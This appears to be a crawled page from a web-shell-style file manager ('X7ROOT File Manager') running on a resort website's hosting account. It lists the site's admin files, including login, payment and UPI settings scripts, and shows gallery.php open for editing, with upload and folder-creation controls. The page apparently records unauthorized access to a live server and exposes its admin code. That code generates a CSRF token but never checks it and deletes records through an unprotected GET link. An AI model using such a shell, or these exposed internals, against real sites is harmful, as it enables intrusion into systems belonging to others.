X7ROOT File Manager
Current Path:
/home/u126090504/domains/oceanicabeachresort.com/public_html/admin
home
/
u126090504
/
domains
/
oceanicabeachresort.com
/
public_html
/
admin
/
📁
..
📁
assets
📄
banners.php
(9.78 KB)
📄
booking-dashboard.php
(4.93 KB)
📄
booking_status_update.php
(6.14 KB)
📄
booking_view.php
(4.04 KB)
📄
branding_settings.php
(5.93 KB)
📄
change_password.php
(3.01 KB)
📄
contacts.php
(3.83 KB)
📄
dashboard.php
(5.64 KB)
📁
dompdf
📄
downloads.php
(4.91 KB)
📄
forgot_password.php
(5.76 KB)
📄
gallery.php
(3.08 KB)
📁
img
📁
includes
📄
index.php
(82 B)
📁
invoices
📄
login.php
(13.47 KB)
📄
logo.png
(19.29 KB)
📄
logout.php
(102 B)
📄
manage_albums.php
(10.82 KB)
📄
manage_media.php
(11.77 KB)
📄
manage_photos.php
(6.35 KB)
📄
manage_videos.php
(18.38 KB)
📄
new_password.php
(3.9 KB)
📄
notice.php
(15.52 KB)
📄
notice_error.log
(38.45 KB)
📄
notices.php
(8.24 KB)
📄
payments.php
(14.96 KB)
📄
pdf_bill_template.php
(30.69 KB)
📁
phpmailer
📄
popup.php
(14.07 KB)
📄
reset_password.php
(2.27 KB)
📄
secure_session.php
(1000 B)
📄
settings.php
(8.34 KB)
📄
test.php
(239 B)
📄
test_pdf.php
(1.58 KB)
📄
testimonials.php
(15.15 KB)
📁
tmp
📄
update_status.php
(1.66 KB)
📄
upi_settings.php
(1.52 KB)
Editing: gallery.php
<?php include 'includes/auth.php'; require_once '../config.php'; include 'includes/header.php'; $allowedTypes = ['jpg','jpeg','png']; $maxSize = 5 * 1024 * 1024; // 5MB $success = $error = ""; // CSRF Token if (empty($_SESSION['csrf'])) { $_SESSION['csrf'] = bin2hex(random_bytes(32)); } // Add Image if (isset($_POST['add_gallery'])) { $caption=$_POST['caption']; $gfile=''; if (!empty($_FILES['gfile']['name'])) { $targetDir=__DIR__."/../uploads/gallery/"; if(!is_dir($targetDir)) mkdir($targetDir,0777,true); $original=$_FILES['gfile']['name']; $ext=strtolower(pathinfo($original,PATHINFO_EXTENSION)); if(!in_array($ext,$allowedTypes)){ echo "<div class='alert alert-danger'>❌ Only JPG/PNG allowed.</div>"; } elseif($_FILES['gfile']['size']>$maxSize){ echo "<div class='alert alert-danger'>❌ Max 5MB allowed.</div>"; } else { $safe=time()."_".preg_replace("/[^a-zA-Z0-9\._-]/","_",$original); $path=$targetDir.$safe; if(move_uploaded_file($_FILES['gfile']['tmp_name'],$path)) $gfile=$safe; } } if ($gfile) { $stmt=$conn->prepare("INSERT INTO gallerytab (nimg,fileimg) VALUES (?,?)"); $stmt->bind_param("ss",$caption,$gfile); $stmt->execute(); echo "<div class='alert alert-success'>✅ Image Added</div>"; } } // Delete if(isset($_GET['delete'])){ $id=intval($_GET['delete']); $stmt=$conn->prepare("SELECT fileimg FROM gallerytab WHERE id=?"); $stmt->bind_param("i",$id); $stmt->execute(); $stmt->bind_result($oldFile); $stmt->fetch(); $stmt->close(); if($oldFile && file_exists(__DIR__."/../uploads/gallery/".$oldFile)) unlink(__DIR__."/../uploads/gallery/".$oldFile); $stmt=$conn->prepare("DELETE FROM gallerytab WHERE id=?"); $stmt->bind_param("i",$id); $stmt->execute(); echo "<div class='alert alert-warning'>⚠️ Image Deleted</div>"; } ?> <h3>Manage Gallery</h3> <form method="POST" enctype="multipart/form-data"> <div class="form-group"><label>Caption</label><input type="text" name="caption" class="form-control"></div> <div class="form-group"><label>Image</label><input type="file" name="gfile" class="form-control" required></div> <button type="submit" name="add_gallery" class="btn btn-primary">Add Image</button> </form> <hr> <h4>All Gallery Images</h4> <table class="table table-bordered"> <tr><th>ID</th><th>Caption</th><th>Image</th><th>Action</th></tr> <?php $res=$conn->query("SELECT * FROM gallerytab ORDER BY id DESC"); while($row=$res->fetch_assoc()){ $img=$row['fileimg']?"<img src='../uploads/gallery/".htmlspecialchars($row['fileimg'])."' width='100'>":"—"; echo "<tr> <td>".(int)$row['id']."</td> <td>".htmlspecialchars($row['nimg'])."</td> <td>$img</td> <td><a href='?delete=".$row['id']."' class='btn btn-danger btn-sm' onclick='return confirm(\"Delete this image?\")'>Delete</a></td> </tr>"; } ?> </table> <?php include 'includes/footer.php'; ?>
Upload File
Create Folder